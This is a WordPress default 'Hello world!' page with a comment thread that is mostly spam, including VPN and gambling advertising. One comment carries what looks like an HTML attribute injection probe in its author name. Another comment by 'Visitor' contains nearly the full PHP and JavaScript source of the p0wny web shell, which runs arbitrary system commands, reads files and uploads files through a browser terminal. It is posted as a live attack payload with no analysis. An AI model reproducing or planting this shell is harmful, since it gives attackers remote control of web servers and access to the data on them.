Hello world!

by | Aug 9, 2022 | Uncategorized | 87 comments

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

87 Comments

  1. A WordPress Commenter
    A WordPress Commenter on August 9, 2022 at 2:31 am

    Hi, this is a comment.
    To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
    Commenter avatars come from Gravatar.

  24. vpn_piOi
    vpn_piOi on May 9, 2026 at 7:14 am

    Как проверить надёжность шифрования в выбранном ВПН-сервисе?

  37. x srcset=https://example.com/fake.jpg
    x srcset=https://example.com/fake.jpg on May 11, 2026 at 12:42 pm

    tpuqhdo1qwiu80nrxw2i

  38. Visitor
    Visitor on May 11, 2026 at 12:42 pm

    ‘p0wny’,
    ‘hostname’ => ‘shell’,
    );

    function expandPath($path) {
    if (preg_match(“#^(~[a-zA-Z0-9_.-]*)(/.*)?$#”, $path, $match)) {
    exec(“echo $match[1]”, $stdout);
    return $stdout[0] . $match[2];
    }
    return $path;
    }

    function allFunctionExist($list = array()) {
    foreach ($list as $entry) {
    if (!function_exists($entry)) {
    return false;
    }
    }
    return true;
    }

    function executeCommand($cmd) {
    $output = ”;
    if (function_exists(‘exec’)) {
    exec($cmd, $output);
    $output = implode(“\n”, $output);
    } else if (function_exists(‘shell_exec’)) {
    $output = shell_exec($cmd);
    } else if (allFunctionExist(array(‘system’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) {
    ob_start();
    system($cmd);
    $output = ob_get_contents();
    ob_end_clean();
    } else if (allFunctionExist(array(‘passthru’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) {
    ob_start();
    passthru($cmd);
    $output = ob_get_contents();
    ob_end_clean();
    } else if (allFunctionExist(array(‘popen’, ‘feof’, ‘fread’, ‘pclose’))) {
    $handle = popen($cmd, ‘r’);
    while (!feof($handle)) {
    $output .= fread($handle, 4096);
    }
    pclose($handle);
    } else if (allFunctionExist(array(‘proc_open’, ‘stream_get_contents’, ‘proc_close’))) {
    $handle = proc_open($cmd, array(0 => array(‘pipe’, ‘r’), 1 => array(‘pipe’, ‘w’)), $pipes);
    $output = stream_get_contents($pipes[1]);
    proc_close($handle);
    }
    return $output;
    }

    function isRunningWindows() {
    return stripos(PHP_OS, “WIN”) === 0;
    }

    function featureShell($cmd, $cwd) {
    $stdout = “”;

    if (preg_match(“/^\s*cd\s*(2>&1)?$/”, $cmd)) {
    chdir(expandPath(“~”));
    } elseif (preg_match(“/^\s*cd\s+(.+)\s*(2>&1)?$/”, $cmd)) {
    chdir($cwd);
    preg_match(“/^\s*cd\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match);
    chdir(expandPath($match[1]));
    } elseif (preg_match(“/^\s*download\s+[^\s]+\s*(2>&1)?$/”, $cmd)) {
    chdir($cwd);
    preg_match(“/^\s*download\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match);
    return featureDownload($match[1]);
    } else {
    chdir($cwd);
    $stdout = executeCommand($cmd);
    }

    return array(
    “stdout” => base64_encode($stdout),
    “cwd” => base64_encode(getcwd())
    );
    }

    function featurePwd() {
    return array(“cwd” => base64_encode(getcwd()));
    }

    function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == ‘cmd’) {
    $cmd = “compgen -c $fileName”;
    } else {
    $cmd = “compgen -f $fileName”;
    }
    $cmd = “/bin/bash -c \”$cmd\””;
    $files = explode(“\n”, shell_exec($cmd));
    foreach ($files as &$filename) {
    $filename = base64_encode($filename);
    }
    return array(
    ‘files’ => $files,
    );
    }

    function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
    return array(
    ‘stdout’ => base64_encode(‘File not found / no read permission.’),
    ‘cwd’ => base64_encode(getcwd())
    );
    } else {
    return array(
    ‘name’ => base64_encode(basename($filePath)),
    ‘file’ => base64_encode($file)
    );
    }
    }

    function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, ‘wb’);
    if ($f === FALSE) {
    return array(
    ‘stdout’ => base64_encode(‘Invalid path / no write permission.’),
    ‘cwd’ => base64_encode(getcwd())
    );
    } else {
    fwrite($f, base64_decode($file));
    fclose($f);
    return array(
    ‘stdout’ => base64_encode(‘Done.’),
    ‘cwd’ => base64_encode(getcwd())
    );
    }
    }

    function initShellConfig() {
    global $SHELL_CONFIG;

    if (isRunningWindows()) {
    $username = getenv(‘USERNAME’);
    if ($username !== false) {
    $SHELL_CONFIG[‘username’] = $username;
    }
    } else {
    $pwuid = posix_getpwuid(posix_geteuid());
    if ($pwuid !== false) {
    $SHELL_CONFIG[‘username’] = $pwuid[‘name’];
    }
    }

    $hostname = gethostname();
    if ($hostname !== false) {
    $SHELL_CONFIG[‘hostname’] = $hostname;
    }
    }

    if (isset($_GET[“feature”])) {

    $response = NULL;

    switch ($_GET[“feature”]) {
    case “shell”:
    $cmd = $_POST[‘cmd’];
    if (!preg_match(‘/2>/’, $cmd)) {
    $cmd .= ‘ 2>&1’;
    }
    $response = featureShell($cmd, $_POST[“cwd”]);
    break;
    case “pwd”:
    $response = featurePwd();
    break;
    case “hint”:
    $response = featureHint($_POST[‘filename’], $_POST[‘cwd’], $_POST[‘type’]);
    break;
    case ‘upload’:
    $response = featureUpload($_POST[‘path’], $_POST[‘file’], $_POST[‘cwd’]);
    }

    header(“Content-Type: application/json”);
    echo json_encode($response);
    die();
    } else {
    initShellConfig();
    }

    ?>

    p0wny@shell:~#

    html, body {
    margin: 0;
    padding: 0;
    background: #333;
    color: #eee;
    font-family: monospace;
    width: 100vw;
    height: 100vh;
    overflow: hidden;
    }

    *::-webkit-scrollbar-track {
    border-radius: 8px;
    background-color: #353535;
    }

    *::-webkit-scrollbar {
    width: 8px;
    height: 8px;
    }

    *::-webkit-scrollbar-thumb {
    border-radius: 8px;
    -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
    background-color: #bcbcbc;
    }

    #shell {
    background: #222;
    box-shadow: 0 0 5px rgba(0, 0, 0, .3);
    font-size: 10pt;
    display: flex;
    flex-direction: column;
    align-items: stretch;
    max-width: calc(100vw – 2 * var(–shell-margin));
    max-height: calc(100vh – 2 * var(–shell-margin));
    resize: both;
    overflow: hidden;
    width: 100%;
    height: 100%;
    margin: var(–shell-margin) auto;
    }

    #shell-content {
    overflow: auto;
    padding: 5px;
    white-space: pre-wrap;
    flex-grow: 1;
    }

    #shell-logo {
    font-weight: bold;
    color: #FF4180;
    text-align: center;
    }

    :root {
    –shell-margin: 25px;
    }

    @media (min-width: 1200px) {
    :root {
    –shell-margin: 50px !important;
    }
    }

    @media (max-width: 991px),
    (max-height: 600px) {
    #shell-logo {
    font-size: 6px;
    margin: -25px 0;
    }
    :root {
    –shell-margin: 0 !important;
    }
    #shell {
    resize: none;
    }
    }

    @media (max-width: 767px) {
    #shell-input {
    flex-direction: column;
    }
    }

    @media (max-width: 320px) {
    #shell-logo {
    font-size: 5px;
    }
    }

    .shell-prompt {
    font-weight: bold;
    color: #75DF0B;
    }

    .shell-prompt > span {
    color: #1BC9E7;
    }

    #shell-input {
    display: flex;
    box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
    border-top: rgba(255, 255, 255, .05) solid 1px;
    padding: 10px 0;
    }

    #shell-input > label {
    flex-grow: 0;
    display: block;
    padding: 0 5px;
    height: 30px;
    line-height: 30px;
    }

    #shell-input #shell-cmd {
    height: 30px;
    line-height: 30px;
    border: none;
    background: transparent;
    color: #eee;
    font-family: monospace;
    font-size: 10pt;
    width: 100%;
    align-self: center;
    box-sizing: border-box;
    }

    #shell-input div {
    flex-grow: 1;
    align-items: stretch;
    }

    #shell-input input {
    outline: none;
    }

    var SHELL_CONFIG = ;
    var CWD = null;
    var commandHistory = [];
    var historyPosition = 0;
    var eShellCmdInput = null;
    var eShellContent = null;

    function _insertCommand(command) {
    eShellContent.innerHTML += “\n\n”;
    eShellContent.innerHTML += ” + genPrompt(CWD) + ‘ ‘;
    eShellContent.innerHTML += escapeHtml(command);
    eShellContent.innerHTML += “\n”;
    eShellContent.scrollTop = eShellContent.scrollHeight;
    }

    function _insertStdout(stdout) {
    eShellContent.innerHTML += escapeHtml(stdout);
    eShellContent.scrollTop = eShellContent.scrollHeight;
    }

    function _defer(callback) {
    setTimeout(callback, 0);
    }

    function featureShell(command) {

    _insertCommand(command);
    if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
    } else if (/^\s*clear\s*$/.test(command)) {
    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
    eShellContent.innerHTML = ”;
    } else {
    makeRequest(“?feature=shell”, {cmd: command, cwd: CWD}, function (response) {
    if (response.hasOwnProperty(‘file’)) {
    featureDownload(atob(response.name), response.file)
    } else {
    _insertStdout(atob(response.stdout));
    updateCwd(atob(response.cwd));
    }
    });
    }
    }

    function featureHint() {
    if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete

    function _requestCallback(data) {
    if (data.files.length 3) {
    var splittedCwd = cwd.split(“/”);
    shortCwd = “…/” + splittedCwd[splittedCwd.length-2] + “/” + splittedCwd[splittedCwd.length-1];
    }
    return SHELL_CONFIG[“username”] + “@” + SHELL_CONFIG[“hostname”] + “:” + shortCwd + “#”;
    }

    function updateCwd(cwd) {
    if (cwd) {
    CWD = cwd;
    _updatePrompt();
    return;
    }
    makeRequest(“?feature=pwd”, {}, function(response) {
    CWD = atob(response.cwd);
    _updatePrompt();
    });

    }

    function escapeHtml(string) {
    return string
    .replace(/&/g, “&”)
    .replace(//g, “>”);
    }

    function _updatePrompt() {
    var eShellPrompt = document.getElementById(“shell-prompt”);
    eShellPrompt.innerHTML = genPrompt(CWD);
    }

    function _onShellCmdKeyDown(event) {
    switch (event.key) {
    case “Enter”:
    featureShell(eShellCmdInput.value);
    insertToHistory(eShellCmdInput.value);
    eShellCmdInput.value = “”;
    break;
    case “ArrowUp”:
    if (historyPosition > 0) {
    historyPosition–;
    eShellCmdInput.blur();
    eShellCmdInput.value = commandHistory[historyPosition];
    _defer(function() {
    eShellCmdInput.focus();
    });
    }
    break;
    case “ArrowDown”:
    if (historyPosition >= commandHistory.length) {
    break;
    }
    historyPosition++;
    if (historyPosition === commandHistory.length) {
    eShellCmdInput.value = “”;
    } else {
    eShellCmdInput.blur();
    eShellCmdInput.focus();
    eShellCmdInput.value = commandHistory[historyPosition];
    }
    break;
    case ‘Tab’:
    event.preventDefault();
    featureHint();
    break;
    }
    }

    function insertToHistory(cmd) {
    commandHistory.push(cmd);
    historyPosition = commandHistory.length;
    }

    function makeRequest(url, params, callback) {
    function getQueryString() {
    var a = [];
    for (var key in params) {
    if (params.hasOwnProperty(key)) {
    a.push(encodeURIComponent(key) + “=” + encodeURIComponent(params[key]));
    }
    }
    return a.join(“&”);
    }
    var xhr = new XMLHttpRequest();
    xhr.open(“POST”, url, true);
    xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
    xhr.onreadystatechange = function() {
    if (xhr.readyState === 4 && xhr.status === 200) {
    try {
    var responseJson = JSON.parse(xhr.responseText);
    callback(responseJson);
    } catch (error) {
    alert(“Error while parsing response: ” + error);
    }
    }
    };
    xhr.send(getQueryString());
    }

    document.onclick = function(event) {
    event = event || window.event;
    var selection = window.getSelection();
    var target = event.target || event.srcElement;

    if (target.tagName === “SELECT”) {
    return;
    }

    if (!selection.toString()) {
    eShellCmdInput.focus();
    }
    };

    window.onload = function() {
    eShellCmdInput = document.getElementById(“shell-cmd”);
    eShellContent = document.getElementById(“shell-content”);
    updateCwd();
    eShellCmdInput.focus();
    };

    ___ ____ _ _ _ _ _
    _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_
    | ‘_ \| | | \ \ /\ / / ‘_ \| | | |/ / _` / __| ‘_ \ / _ \ | (_)/\/_ .. _|
    | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|
    | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_|
    |_| |___/ \____/

    ???

  61. 888starz_oaSl
    888starz_oaSl on May 15, 2026 at 2:44 am

    888starz تسجيل الدخول مراهنات 8starz

  67. 333985
    333985 on May 15, 2026 at 12:45 pm

    wish you all the best

Submit a Comment